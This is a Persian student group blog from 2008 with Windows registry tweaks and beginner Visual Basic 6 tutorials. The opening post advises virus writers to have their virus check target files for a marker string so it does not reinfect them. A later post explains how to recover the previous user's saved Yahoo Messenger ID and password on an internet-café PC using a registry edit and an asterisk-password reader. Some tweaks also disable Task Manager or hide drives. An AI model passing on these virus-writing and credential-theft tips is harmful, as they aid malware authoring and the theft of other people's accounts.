همون جور که می دونید این نوشته جز توضیحات به حساب می یاد و کمپایل نمیشه.حالا این به چه درد می خوره؟شاید شما به این موضوع فکر نکرده بودید که ممکنه فایل هایی رو که قبلا" ویروستون آلوده کرده دوباره آلوده بشن.خب شاید تا حالا به این قضیه فکر نکردین.برای این کار یه کد تو ویروستون قرار بدید که فایلی رو که می خواین آلوده بشه رو اول بخونه(از متد opentextfile استفاده کنید) و بعد به دنبال کلمه ی مثلا reza goodarzi بگرده و اگر وجود نداشت فایل رو آلوده کنه.من این روش رو به افرادی پیشنهاد می کنم که ویروسشون به انتهای فایل آلوده می چسبه و با کدهای خود فایل آلوده کاری ندارنه و اون ها میگم که حتما" از این روش استفاده کنن.

 

 

صنم

+ نوشته شده در  دوشنبه بیست و سوم اردیبهشت 1387ساعت 22:13  توسط Honarestan noavaraN  | 

سلام دوستان عزیز...

در این پست برنامه ای را میخواهم به شما معرفی کنم که به وسیله اون میتونین فایلهای JAR موبایل را روی کامپیوتر اجرا کنید.

اسم برنامه SJBox هست که در انتهای پست میتونین دانلودش کنید. برنامه رو نصب کنید و روی هر فایل JAR که دوبل کلیک کنید ، برنامه اجرا شده و حاصل اجرای فایل JAR را مشاده خواهید کرد.

 دانلود برنامه

صنم

+ نوشته شده در  دوشنبه بیست و سوم اردیبهشت 1387ساعت 18:4  توسط Honarestan noavaraN  | 

مخفی کردن درایوها در داخل مای کامپیوتر
بعد داخل رگ ادیت دنبال مسیر زیر باشید
HKEY_CURRENT_USER\Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer
بعد یک دی ورد dword بساز و اسمش رو بذار NoDrives
حالا به اون مقدار 3FFFFFF رو بده
حالا درایوهاتون مخفیه!


برداشتن Properties از کليک راست My Computer
برای این منظور مراحل زیر را به دقت دنبال کنید :

۱.وارد registry شوید.
۲.مسیر زیر را دنبال کنید :
HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explore
۳.روی پنل سمت راست ،کليک سمت راست کرده و New را انتخاب کنيد.
۴.روی REG_DWORD Value کليک کنيد.
۵.اسم آنرا NoPropertiesMyComputer بگذارید.
۶.حالا برای نشان دادن Properties مقدار 0 و برای نشان ندادنش مقدار 1 را انتخاب کنيد


حذف کردن گزينه Run از منوی Start

کليد زير را پيدا کنيد:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
يک مقدار جديد از نوع DWORD با نام No Run ايجاد کنيد و ان را برابر 1 قرار دهيد تا گزينه Run از منوی Start ويندوزتان مخفی گردد. برای باز گرداندن مجدد اين گزينه ، مقدار 1 را به 0 تغيير دهيد



کليد زير را پيدا کنيد:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\Explorer]
يک مقدار جديد از نوع DWORD با نام No Run ايجاد کنيد و ان را برابر 1 قرار دهيد تا گزينه Run از منوی Start ويندوزتان مخفی گردد. برای باز گرداندن مجدد اين گزينه ، مقدار 1 را به 0 تغيير دهيد.

مخفي كردن يك پارتيشن
مسير زير رو دنبال كنيد
اول رو my computer راست كليك كنيد بعد manage بعد از شاخه storage گزينهDisk management رو انتخاب كنيد حالا از منوي سمت راست هر پارتيشني رو كه ميخواهيد حذف شه رو روش كليك راست كنيد از اونجا گزينه change drive latter and path و از اونجا گزينه remove رو انتخاب كنيد تا درايو مورد نظر حذف شه
براي برگرداندن پارتيشن هم مسير قبل رو تا disk management برين كليه پارتيشنها اونجا مشخصن هر كدوم رو كه remove كردين روش راست كليك كنيد از اونجا بجاي remove گزينه add رو انتخاب كنيد


ويندوز XP را سريع تر SHUTDOWN كنيد.

نوشته شده توسط دوست عزيزمون KING7

برای اینکار در منوی RUN گزينه Regedit رو تايپ كنيد و مسر زير رو دنبال كنيد :
HKEY-LOCAL-MACHINES\SYSTEM\Currentcontrolset\control
سپس رو گزينه control رو انتخاب كنيد و گزينه waittokillservicetimeout رو انتخاب كنيد و
كليك راست كنيد و گزينه modify رو انتخاب كنيد و مقدار 2000 رو به كمتر از اون يعني (1000)
تغيير دهيد


برنامه‌هایی مثل Regedit و Msconfig را می‌توان از طريق كادر محاوره ای Run و بدون نوشتن مسیر آن‌ها اجرا كرد. اما برای اجرای سایر برنامه‌ها، باید یك كلید به رجیستری اضافه كنیم.

مسیر زیر را دنبال كنید:
HKEY-LOCAL-MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ App Paths
حالا یك كلید كه نام آن همان نام فایل اجرایی است، اضافه كنید. برای مثال Myprog.exe . مقدار آن‌را برابر آدرس كامل برنامه قرار دهید، در مثال ما C:\Program Files\Myprog\Myprog.exe . همچنین می‌بایست یك String Value ایجاد كنید كه آدرس آن فقط قسمتی از محل مورد نظر شماست كه در مثال ما این آدرس می‌باشد: C:\Program Files\MyProg


در مرورگرها وقتی روی تصویری راست كلیك كرده و گزینه‌ی Set as background را انتخاب می‌كنید، background تغییر می‌كند. برای جلوگیری از چنین كاری در كادر محاوره‌ای Run تایپ كنید Regedit و مسیر زیر را دنبال كنید:

HKEY-CURRENT-USER \ Software \ Microsoft \ Windows \

CurrentVersion \ Policies \ ActiveDesktop

و یك مقدار DWORD به نام NoChangingWallpaper ايجاد كنید و مقدار آن را یك قرار دهید


حتماً به اين کاستی در برنامهWindows Media Player پی برده ايد که بطور پيش فرض هنگام استفاده از گزينه Open فايلهای ويدئويی DAT در ليست فايلها نمايش داده نميشوند و بايد برای نمايش و باز کردن آنها از قسمت Files of type گزينه Any Files را انتخاب کنيم تا همه فايلها بدون توجه به پسوندی که دارند نمايش داده شوند:
و در ليست فايلهای قابل اجرا اسمی از فايلهای Dat برده نشده در حاليکه Media Player قابليت اجرای فايلهای ويدئويی Dat را داراست و امروز بسياری از افراد برای نمايش Video CD و DVD از کامپيوتر استفاده ميکنند.
جهت افزودن اين قابليت به Media Player مراحل زير را دنبال کنيد:
1- Run را از منوی Start انتخاب کنيد و regedit را اجرا کنيد
2- بعد از باز شدن برنامه Registry Editor به آدرس زير برويد:


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\ Player\Extensions

3- به Description برويد و با Right-Click کردن در ناحيه قاب سمت راست يک String value جديد به نام 8 درست کنيد(اگر آخرين کليد موجود 7 ميباشد)
4- بر روی مقدار جديد ساخته شده دوبار کليک کنيد و Value data را برابر:

Video CD (*.dat)

قرار دهيد:
registry value for description

5- به Types برويد و دوباره مانند مرحله قبل يک String Value جديد ايجاد کنيد و مقدار آن را اين بار فقط برابر dat.* قرار دهيد:

6- بسته به نسخه ای از Media Player که استفاده ميکنيد ممکن است يک پوشه به نام MUIDescription هم موجود باشد. اگر چنين بود يک String value مانند مراحل قبل ايجاد کنيد و Value Data آن را برابر با Video CD قرار دهيد
7- Registry Editor را ببنديد و Media Player را باز کنيد و از منوی File گزينه Open را انتخاب کنيد
8- برای اطمينان از اعمال موفقيت آميز تغييرات Files of type را باز کنيد تا مطمئن شويد Video CD در آن ليست شده است:
در آخر از دوستانی که آشنایی کامل با ریجستری ندارند توصیه نمی شود


بستنCtrl+Alt+Delete براي (XP,2000,NT)

تنظيمات زير Task Maneger را غير فعال ميکند. روش اول:

به [ HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System ] برويد. (در صورت نبود system ان را ايجاد کنيد) يک مقدار جديد از نوع Binary value با نام DisableTaskMgr ايجاد کرده و مقدار ان را برابر 00 00 00 01 قرار دهيد.
روش دوم:
به [ HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System ] برويد .يک مقدار جديد از نوع DWORD با نام DisableTaskMgr ايجاد کنيد و مقدار ان را برابر 1 قرار دهيد. براي فعال سازي مجدد Task Maneger مقدار ان را برابر 0 قرار دهيد


قطع کردن بلندگوی داخل کيس

ادرس زير را پيدا کنيد :

Hkey-current-user\controlpanel\sound

يک مقدار از نوعstring با نام Beep ايجاد کرده و انرا برابر No قرار دهيد تا صدای بلندگوی داخل کيس شما قطع شود


زير كليد زير برويد:
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\Cur rentVresion\Policies\System]
يك مقدار عددي (DWORD ) به نام NoSecCPL بسازيد و به آن مقدار 1 دهيد


برداشتن علامت ميان برواز بين بردن Shortcut To
برداشتن علامت ميان بر از آيكون ها(فلش كوچك در سمت چپ در پايين آيكون):
به 2 زير كليد زير برويد:
[HKEY_CLASSES_ROOT\Inkfile]
[HKEY_CLASSES_ROOT\piffile]
و مقدار IsShortcut را حذف كنيد.

از بين بردن Shortcut To از جلوي ميانبرها:

هر وقت ميانبري در صفحه رو ميزي (Desktop) مي سازيد يا کپي مي کنيد به صورت خود کار يک پيشوند Shortcut To دنبال آن مي آيد . براي غير فعال کردن اين مزاحم وارد رجيستري شويد ؛ سپس کليد زير را پيدا کنيد :
HKEY_CURRENT_USER - Software- Microsoft- Windows- CurrentVersion- Explorer

به محض اين که به کليد Explorer رسيديد ( - آن را کليک نکنيد) در قسمت راست رجيستري يک سري گزينه ها ظاهر مي شود ؛‌ روي گزينه Link دوبار کليک کنيد. پنجره اي باز مي شود ؛ مقدار آن را به : OO OO OO OO تغيير دهيد


ايجاد محدوديت برای کاربرها در برابر تغيير مسير پوشه ها
برای اينکار به CURRENT_USER\Software\Microsoft\Windows\CurrentVer sion\Policies\Explorer برويد. برای قفل کردن مسير پوشه های My Pictures، My Music، Favorites و My Documents مقادير DisableMyPicturesDirChange، DisableMyMusicDirChange، DisableFavoritesDirChange و DisablePersonalDirChange را به يک تغيير دهيد


چگونه مي توان Administrative Tools را براي هميشه مخفي كرد؟

براي اين منظور بايد تغييرات زير را در رجستري اعمال كنيد:

Hive: HKEY-CURRENT-USER
Key:Software\Microsoft\windows\Current
Version\Explore\Advanced
Name:Start Menu Admin Tools
Data Type: REG-SZ
Value:
اگر yes باشد نمايش داده مي شود و اگرNo باشد مخفي مي شود


چگونه برنامه اي را فقط يك بار هنگام بوت سيستم اجرا كنيد؟

اگر مي خواهيد هنگام بالا آمدن ويندوز برنامه اي فقط يكبار اجرا شود و در دفعات بعدي غيرفعال باشد تغييرات زير را در رجستري اعمال كنيد:
Hive:HKEY-CURRENT-USER
Key:Software\Microsoft\Windows\Current Version\Run once
نام برنامه مورد نظر :Name
Data Type:REG-SZ
مسيري كه در آن قرار دارد

 

 

پری

+ نوشته شده در  شنبه چهاردهم اردیبهشت 1387ساعت 20:38  توسط Honarestan noavaraN  | 

از منوي Start گزينه Run را انتخاب كنيد و Regedit را تايپ كنيد تا داخل محيط ويرايش ريجستري شويد حالا به اين كليك در ريجستري برويد :
HKEY_CURRENT_USER\Software\Yahoo\Pager
و روی Save Password دو بار كليد كنيد و عدد 100 را در آن تايپ كنيد و OK بزنيد.
حالا ياهو مسنجر را نگاه كنيد آخرين ID و Password ID می بينيد می توانيد باآن LOGIN بشويد .
حالا بايد يك برنامه از قبل آمده كرده باشيد كه بتواند پسورد روي ويندوز که به صورت ستاره نمایش داده میشود را بخواند كه با آن بتوانيد پسورد درون ياهو مسنجر را بخوانيد.
اين كار را شما مي توانيد در كافي نت انجام بدهيد. چون Password شخص قبلي( كسي كه قبل از شما كار مي كرده) اگر هم پسورد را Save نكرده باشه مي توانيد در بیاورید
.

 

پری

+ نوشته شده در  شنبه چهاردهم اردیبهشت 1387ساعت 20:31  توسط Honarestan noavaraN  | 

این هم یک ProgressBar خیلی قشنگ و جالب .

Media Progress Bar Render Sample.

 

پری ناز

+ نوشته شده در  جمعه سیزدهم اردیبهشت 1387ساعت 20:44  توسط Honarestan noavaraN  | 

مطمئنا تا بحال در ويندوز از كادرهاي محاورهاي زيادي مثل پنجره هاي Open، Save، نمايش خصوصيات چاپگر (Printer)، كادر انتخاب رنگ، كادر انتخاب Font و پنجره Help ويندوز استفاده كرده ايد.

در VBبراي نمايش اينگونه پنجرههاي محاورهاي از كنترل DialogBox استفاده ميكنيم. اين كنترل يكي از كنترلهاي  Non - Visual ويژوال بيسيك ميباشد. Non-Visual Controls همانطور كه قبلا هم آمده است، انواعي از كنترلها هستند كه فقط در زمان طراحي (Design Time) بر روي فرم ديده ميشوند و در Run Run Time فقط ميتوان از اثر آنها بهره برد.

كنترل مذكور بطور پيش فرض در ToolBar وجود ندارد. براي اضافه كردن آن به ToolBar بايد از منوي Project گزينه Components را انتخاب كنيم و در ليست Componentها، گزينه Microsoft Common Dialog Control 6 را چك مارك بزنيم و آن را تاييد (OK) نماييم. در اينصورت يك كنترل به ToolBoxزوده خواهد شد كه مي توانيد آن را با دابل كليك بر روي فرم قرار دهيد. توجه داريم كه كنترل مذكور Non-Visual است و لذا نيازي به تنظيم مكان اين كنترل بر روي فرم نداريد.

كنترل Dialog Box داراي متدهاي زير مي باشد:

ShowColor براي نمايش پنجره محاورهاي تعيين رنگ در زمان فراخواني اين متد.

ShowFont براي نمايش پنجره محاورهاي تعيين فونت در زمان فراخواني اين متد.

 ShowHelp براي نمايش پنجره محاورهاي راهنماي ويندوز در زمان فراخواني اين متد.

ShowOpen براي نمايش پنجره محاورهاي باز كردن يك فايل در زمان فراخواني اين متد.

ShowPrinter براي نمايش پنجره محاورهاي تعيين خصوصيات چاپگر در زمان فراخواني اين متد.

ShowSave براي نمايش پنجره محاورهاي ذخيره كردن در يك فايل در زمان فراخواني اين متد.

Private Sub cmd_Click ( )

          cdb.ShowColor

          lbl.ForeColor = cdb.Color

End Sub

يا اگر بخواهيم توسط دکمه‌ای ديگر به نام cmd2، پنجره Open باز شود، و هر فايلی از هر مسيری را که کار بر انتخاب کرد، در lbl نمايش داده شود، می‌نويسيم:

Private Sub cmd2_Click ( )

          cdb.ShowOpen

          lbl.Caption = cdb.FileName

End Sub

 

پری

+ نوشته شده در  جمعه سیزدهم اردیبهشت 1387ساعت 20:31  توسط Honarestan noavaraN  | 

ه اطمينان، قبلاً در برنامه نويسی (لااقل در Basic که پيش فرض بحث ما معرفی شده بود) از متغيرها زياد استفاده کرده ايد. در برخی زبانهای برنامه نويسی (مثل Basic) ، نوع متغيرهای بکار رفته در برنامه، لازم نيست از قبل تعريف شده باشد و در هنگام اجرا، کامپايلر، خود، آن را به نوع مورد نياز (مثل Integer برای برای داده های عددی صحيح، يا String برای نوع داده رشته ای و کاراکتری و ...) تعريف و اجرا خواهد کرد. اما در برخی ديگر (مانند زبان برنامه نويسی Pascal)لازم است، نوع داده متغيرهای بکار رفته، در جايی از برنامه (و عموماً قبل از استفاده از آن) تعريف شوند.

در VB، از آنجا که VB از Basic برای کدنويسی استفاده می شود، به طور معمول، نياز به تعريف نوع داده ها نيست. اما از آنجا که امروزه برنامه نويسان ترجيح می دهند که از کامپايلری برای برنامه نويسی استفاده کنند که او را به تعريف تمام متغيرها مجبور کند (زيرا اگر چنين نباشد، اگر او به اشتباه دستوری را غلط تايپ کند (مثلاً بجای then بنويسد Then) ، کامپايلر آن را به عنوان متغيری فرض می کند و در واقع بدون اينکه ما خطايی را دريافت کنيم، در روند برنامه مان مشکل پيدا می شود و خطايی رخ می دهد که شايد تشخيص علت آن سخت تر شود) ، می توانيم VB را موظف سازيم تا ما را مجبور به تعريف نوع داده متغيرها نمايد.

اگر در ابتدای هر يونيت (Unit) عبارت Option Explicit نوشته شود، VB ما را مظف می کند که در آن يونيت، هر متغيری که بخواهيم استفاده کنيم، آن را قبل از استفاده، تعريف نماييم (لذا بهتر است ابتدای همه Unitها عبارت مذکور باشد) . يونيت (Unit) ها، بخش هايی از برنامه اند که در آنها کدنويسی می شود. مثلاً هر فرم، دارای يک Unit مخصوص به خود است که تمام Event Procedureهايی که تا بحال می نوشتيم، در آن قرار می گرفت.

همچنين اگر از منوی Tools گزينه Options را اتنخاب کنيم، و از لبه General (Tab Sheet) ، گزينه Require Variable Declare را چک مارک بزنيم، از اين پس، VB هر فرمی که ايجاد می شود، به طور پيش فرض عبارت Option Explicit را در ابتدای آن خواهد نوشت و در واقع هميشه ما را موظف می سازد که متغيرها را تعريف نماييم.

برای تعريف متغيرها از دستور Dim به شکل کلی زير استفاده می شود:

Dim variableNames As variablsType

به عنوان مثال دستور Dim a,b As Integer متغيرهايی را به نام a,b از نوع داده Integer (نوع داده عددی صحيح) تعريف می کند و سپس از آن می توانيم متغير a را در برنامه مقداردهی نماييم.

متغيرها را می توان در سه سطح تعريف نمود (Space of Variables) :

1-    سطح پروسيجر (procedure Level) :

اگر متغيری در يک Procedure (و معمولاً ابتدای آن) تعريف کنيم، آن متغير را فقط در همان Procedure می توان استفاده نمود و در واقع برای همان Procedure خاص تعريف شده است.

2-    سصح فرم (Form Level) :در سطح فرم (يعنی در ابتدای Unit مربوط به فرم و پس از عبارت Option Explicit) ، متغيرها می توانند به دو نوع تعريف شوند:

2-1- تعريف به صورت Private (شخصی) :

     اگر متغيری در سطح فرم به صورت Private و به شکل کلی:

Private variableNames As variableType

    تعريف شود، آن متغير فقط در تمام Procedureهای فرم قابل استفاده است و در فرم های ديگر قابل دسترسی و استفاده نمی باشد (مگر اينکه در آنها هم جداگانه تعريف شده باشد) .

2-2- تعريف به صورت Public (عمومی) :

     اگر متغيری در سطح فرم، به صورت Public و به شکل کلی:

Public variableNames As variableType

تعريف شود، در اين صورت آن متغير علاوه بر دسترسی در همان فرم (بوسيله نام آن متغير) ، در فرمهای ديگر (در واقع در کل پروژه) قابل دسترسی خواهد بود. فقط در صورت نياز به استفاده در فرمهای ديگر لازم است نام فرمی را که متغير در آن تعريف شده است ذکر شود (البته اگر آن فرم load باشد) و سپس پس از يک نقطه (Dot) نام آن متغير آورده شود. به عنوان مثال اگر در ابتدای يونيت مربوط به Form1 نوشته شده باشد:

Public Number As Integer

و بخواهيم در فرمی ديگر، به آن مقداردهی کنيم، لازم است چنين بنويسيم:

Form1.Number = 15

توجه: اگر در سطح فرم از Dim برای تعريف استفاده شود، به طور پيش فرض آن را Private در نظر خواهد گرفت.

3-    سطح ماژول (Module Level) :

ماژولها بخشی از پروژه هستند که متغيرها، توابع و Procedureهای عمومی (Global) را در آن تعريف می کنيم. اگر تعريفی (مثل تعريف نوع داده متغير يا يک Procedure) با Private انجام گيرد، فقط در همان ماژول قابل استفاده می باشد و اگر با Public صورت گيرد، در هر فرمی و بدون نياز به نوشتن نام ماژول در ابتدای آن، قابل استفاده خواهد بود. نکته ای که بايد توجه داشت اينکه اگر بخواهيم از متغيريا Procedureای که در يک ماژول به صورت Public تعريف شده است، در ماژولی ديگر استفاذه کنيم، ذکر نام ماژول در ابتدای آن به همراه يک نقطه (Dot) ضروری است.

معمولاً از تعريف Public در ماژول زمانی استفاده می کنيم که بخواهيم متغير يا Procedureای به صورت Global (عمومی) در سراسر پروژه استفاده شود. شايد بگوييد می شود در هر فرمی که به آن نياز داريم، همانجا متغير را تعريف می کنيم، پس چه نيازی به ماژول داريم؟

هر چند اين کار باعث می شود که برنامه خطای دستوری از ما نگيرد اما در اينصورت وقتی از فرمی به فرم ديگر می رويم مقدار موجود در آن متغير، پس از تعريف مجدد، دوباره Null (تهی) می شود، در حاليکه اگر از يکبار تعريف Public در ماژول استفاده کنيم، پس از مقدار دهی در جايی از پروژه، تا مقداردهی مجدد، اين مقدار در تمام پروژه قابل دسترسی است.

برای افزودن يک ماژول به پروژه کافی است از منوی Project گزينه Add Module را انتخاب کنيد و آن را (با پسوند .BAS) save نماييم.

همانطور که ملاحظه می فرماييد، ماژولها تنها بخش کدنويسی (Unit) دارند بر خلاف فرمها که يک بخش Interface (ظاهری) داشتند که کنترلها را به صورت Visual روی آن قرار می داديم و يک بخش کدنويسی (Unit) که کدهای مربوط به Event Procedureها را در آن می نوشتيم. همچنين ملاحظه می فرماييد که با توجه به وظيفه ماژولها، معمولاً در کل پروژه اولاً به يک ماژول نيازمنديم ثانياً به بيش از يک ماژول احتياجی پيدا نمی کنيم.

نکته: علاوه بر متغيرها می توانيم از ثوابت (Constants) نيز در پروژه استفاده کنيم. ثوابت، بخشی از پرونده اند که هنگام تعريف، مقداردهی می شوند و تا پايان پروژه مقدارشان ثابت می ماند. برای تعريف ثوابت از دستور Constant استفاده می شود به عنوان مثال:

Const PI As single = 3.14

 

                                                                   پری

+ نوشته شده در  جمعه سیزدهم اردیبهشت 1387ساعت 19:58  توسط Honarestan noavaraN  | 

دستورات پایه ای برای برنامه نویسی

1-دستور شرطی if

در برنامه نويسی مواردی پیش می آيد که بخواهيم دستور یا دستوراتی، هنگامی که شرط خاصی برقرار است، توسط برنامه به اجرا در آيد. اين مورد در زندگی روزمره نيز ديده می شود؛ به عنوان مثال " اگر فردا باران نيايد، من به کوه خواهم رفت." شرط مورد نظر نيامدن باران است و عملی که قرار است انجام شود رفتن به کوه می باشد.در برنامه نویسی ویژوال بیسیک این شرط به صورت زیر نوشته می شود

If  شرط مورد نظر   Then   دستور مورد نظر

حالا مثال خودمون رو روی این دستور پیاده می کنیم

If  فردا باران نیاید    Then   من به کوه خواهم رفت

دستور if  در ویژوال بیسیک به دو صورت نوشته میشه

الف- معمولی: صورت معمولی دستور if  مثل مثالی هست که قبلا زدیم.در این صورت از دستور فقط یک کار برای ما انجام می شود.

If    شرط مورد نظر    Then    دستور مورد نظر

ب- در این حالت ما می توانیم یک یا چند دستور را اجرا کنیم.باید توجه داشت که در پایان دستور ها باید کلمه End if  را برای اتمام کار بنویسیم در غیر این صورت برنامه پیغام خطا می دهد.

If   شرط مورد نظر    Then

دستور شماره1

دستور شماره 2

دستور شماره3

دستور شماره......

End if

2-دستور شرطی If & Else

گاهی اوقات نياز داريم که در صورت برقرار بودن شرط خاصی يک سری دستورات اجرا و در صورت برقرار نبودن آن شرط دسته ای ديگر از دستورات اجرا گردند. به عنوان مثال اگر فردا باران بيايد من به کوه نمی روم در غير اين صورت من به کوه خواهم رفت.

If  شرط مورد نظر   Then

دستور اول

Else

دستور دوم

End if

حالا مثال رو روی این دستور پیاده می کنیم.

If   فردا باران بیاید   Then

من به کوه نمی روم

Else

من به کوه می روم

End if

حالا ویژوال بیسیک رو اجرا کنید و از پنجره ی باز شده  New Project رو انتخاب کنید تا یک پروژه ی جدید باز شود.

وقتی پروژه ی جدید باز شد از طریق منوی سمت چپ یک Command Button به فرمتون اضافه کنید.

روی command button دو بار کلیک کنید تا پنجره ی کد نویسی باز بشه.

در این قسمت ما می خواهیم دستور if  را برسی کنیم پس کد نویسی را شروع می کنیم.در پنجره ی کدنویسی هر چقدر متن هست رو پاک کنید و به جای اون این کدهارو بزارید.

Private Sub Command1_Click()

If     50 < 100    Then    Beep

End Sub

خط اول و آخر مربوط به اینه که مشخص میکنه در چه جایی این شرط بررسی بشه که ما به برنامه گفتیم در موقعی که بر روی  command button کلیک میشه این شرط رو بررسی کن.

خط دوم هم به برنامه میگه اگر عدد 50 کمتر از 100 بود در اون صورت بوق بزن(Beep)


حالا می خواهیم دستور  If  &Else را بررسی کنیم.

مانند قبل یک پروژه ی جدید باز کنید و در یک command Button به اون اضافه کنید.

با دوبل کلیک بر روی Command Button پنجره ی کدنویسی را باز کنید و کدهای داخل اون رو پاک کنید و این کدها رو بهش اضافه کنید.

Private Sub Command1_Click()

If   50 < 100   Then

MsgBox "50 kamtar az 100 ast"

Else

MsgBox   "50 bishtar az 100 ast"

End If

End Sub

در خط اول و آخر مثل قبل به برنامه گفتیم که در چه جایی شرط بررسی بشه.

در خط دوم شرط مورد نظر رو نوشتیم"اگر عدد 50 کمتر از 100 بود" در اون صورت

در خط سوم دستوری رو نوشتیم که در ازای درست بودن شرط اجرا میشه پیغام "50 kamtar az 100 ast" رو نشون بده

خط چهارم هم کلمه ی Else  یا "در غیر این صورت " رو نوشتیم

در خط پنجم هم دستوری رو نوشتیم که به ازای درست نبودن شرط اجرا میشه "پیغام 50 bishtar az 100 ast رو نشون بده"

در خط ششم هم پایان شرط رو اعلام کردیم




نکته:دستور MsgBox  برای نشان دادن یک پیغام استفاده می شود که دستور ساده ی آن به این صورت است

MsgBox "پیغام مورد نظر"

 
 
فاطمه
+ نوشته شده در  جمعه سیزدهم اردیبهشت 1387ساعت 19:33  توسط Honarestan noavaraN  | 

جعبه ابزار: با ابزارهای این پنجره آشنا خواهید شد. این جعبه وسیله ای برای خلق ابزار وقرار دادن روی پنجره ی  Form است.

پنجره فرم: مکانی است که کنترل ها و ابزارها روی آن قرار می گیرد. ما در برنامه می توانیم چندین فرم داشته باشیم.

پنجره مکان فرم: به وسیله ی این پنجره می توانید موقعیت فرم را هنگام اجرا مشخص کنید.

پنجره پروژه: یک پروژه می تواند از چندین فایل تشکیل شود. این پنجره برای کنترل بر روی این فایل ها است.

بر روی این فرم سه دکمه وجود دازد.

دکمه View Code که برای دیدن داخل فایل است و دکمه View Object که برای دیدن پنجره فرم و دکمه Toggle Folder که برای طبقه بندی فایل ها به کار می رود. ان چیزهایی که درون پرانتز نوشته شده است نام فایل است و آنهایی که خارج پرانتز است نام شیئ در برنامه است که در برنامه نویسی کاربرد دارد

پنجره خواص: هر فرم می تواند به تعداد زیادی کنترل داشده باشد که با انتخاب هر یک از آنها خواص ان در پنجره خواص نمایش داده می شود. برای تغییر هر خاصیت می توانید روی مقدار آن کلیک کنید و مقدار جدیدی را وارد کنید. بعضی خاصیت ها نیز مقدارش بین چندین مقدار محدود است که در این صورت یک لیست بازشو ظاهر خواهد شد. دکمه Categorized برای طبقه بندی خاصیت ها است.

حال برای بیشتر آشنا شدن شما با VB برنامه ای ساده با هم می نویسیم.

از منوی New گزینه New Project را انتخاب کنید و سپس روی Standard EXE دو بار کلیک کنید. با این کار یک فرم برای شما محیا می شود. در پنجره خواص خاصیت Name را به frmTest تغییر دهید و Widht و Height را به ترتیب 3300 و 3600 قرار دهید. از طریق جعبه ابزار یک Command Button , Text Box , Label  بر روی فرم قرار دهید و خواص آن را  مطابق جدول زیر ست کنید.

Command

Name

cmdOk

Caption

OK

Text Box

Text

خالی

Label

Caption

خالی

Border Style

1-Fixed Single

روی پنجره ی اصلی جایی که شیئ دیگری نیست دو بار کلیک کنید.

پنجره ای باز می شود که در آن این مطالب را نوشته است.

Private Sub Form_Load ()

End Sub

بین این دو خط این کد را اضافه کنید.

frmText.Caption = Test”

سپس از لیست باز شوی سمت چپ پنجره cmdOK را انتخاب کنید و کد زیر را بنویسید.

Private Sub cmdOK_Click

          Label1.Caption = Text1.Text    

End Sub

حال می توانید این برنامه ساده را اجرا کنید. برای این کارروی علامت    ازمیله ابزار بالا کلیک کنید. همانطوری که می بینید عنوان فرم به Test تغییر کرده است و با کلیک بر روی OK متن داخل Text Box به داخل برچسب منطقل می شود.

اصولا کنترل ها در برنامه های Visual رویداد گرا هستند. یعنی فرمان های خود را تا اینکه رویداد خاصی رخ ندهد اجرا نمی کند. مثلا رویداد Form_Load موقعی رخ می دهد که Form در حافظه بار شود یا Click   موقعی رخ می دهد که روی شیئ مورد نظر کلیک شود.

همان طور که دیدید ابدا در Form_Load عنوان فرم را عوض کردیم .نکته ای که مهم است این است که در VB متن باید داخل دو کتیشن نوشته شود. در تابع cmdOK  هم متن داخل بر چسب را متن قرار دادیم که در Text Box نوشته ایم.

با این که این بر نامه مفهوم خاصی ندارد ولی برای شروع و آشنلیی با محیط و کارکرد VB بد نبود.

 

در VB دو نوع کنترل وجود دارد. کنترل هایی که جزو استاندارد VB است و کنترل های ActiveX که پسوند OCX دارد و به Toolbar  افزوده می شود. خود VB تعدادی از این ها را برای برنامه فراهم کرده است. این فایل ها را می توان از اینترنت دانلود کرد. برای اضافه کردن آن ها به جعبه ابزار کلید راست فشار دهید و Components را برگزینید.

با تیک زدن بر روی هر گزینه ان به جعبه ابزار شما افزوده می شود.

گفتیم که هر کنترل خواصی برای خود دارد. یک سری از این خاصیت ها بین کنترل ها مشترک است. که تعدادی از آنها در زیر آمده است.

Alignment          نحوه تراز کردن متن را تعیین می کند.       

BackColor          برای تعیین رنگ زمینه کنترل.                     

BorderStyle        تعیین می کند که آیا کنترل حاشیه داشته باشد یا خیر.

Caption              متنی که روی کنترل دیده می شود.

Enable               تعیین کننده ی فعال یا غیر فعال بودن کنترل.

Font                   فونت متن داخل کنترل را تعیین می کند.

ForeColor          رنگ متن داخل کنترل را تعیین می کند.

Height               ارتفاع کنترل

Left                   فاصله لبه ی چپ کنترل از فرم را مشخص می کند.

MousePointer   شکل کرسر موس وقتی که بر روی کنترل قرار می گیرد را مشخص می کند.

Name                نامی که در برنامه کاربرد دارد.

ToolTipText     متنی که وقتی موس را چند ثانیه روی کنترل متوقف کنیم ظاهر می شود.

Top                   فاصله لبه ی بالای کنترل از فرم را مشخص می کند.

Visible              تعیین کننده مرئی یا نامرئی بودن کنترل.

Width               عرض کنترل

خواص فرم

Top و Left : نسبت صفحه ی مانیتور سنجیده می شود. 

BorderStyle : چندین گزینه دارد. 0-None فرم بدون حاشیه و میله عنوان1-Fixed Single فرم بدون امکان تغییر اندازه و دکمه های حداکثر و حداقل  2-Sizeable  فرم با توانایی تغییر اندازه و دارای دکمه های حداقل و حداکثر.

Icon: نام فایل آیکون فرم.

ShowInTaskbar: این خاصیت تعیین می کند که فرم در میله ی وظایف ویندوز ظاهر شود یا خیر.

StartupPosition: وضعیت فرم را هنگام اجرا معیین می کند.2- CenterScreen  فرم را وسط مانیتور نشان می دهد.

WindowState: معمولی، حداکثر، حداقل بودن فرم حین اجرا را تعیین می کند.

این خاصیت ها در هنگام برنامه نویسی نیز قابل تغییر است. تعدادی خواص نیز تنها هنگام برنامه نویسی ظاهر می شود و در پنجره خواص قابل مشاهده نیست.

کنترل برچسب: برای نمایش متن است و اغلب برای نمایش توضیح وعنوان کنترل های دیگر استفاده می شود. 

AutoSize: اندازه پهنای جعبه را متناسب با متن درون آن می کند.

کنترل جعبه متن: به کاربر اجازه می دهد که چیزی را درون این جعبه بنویسد.

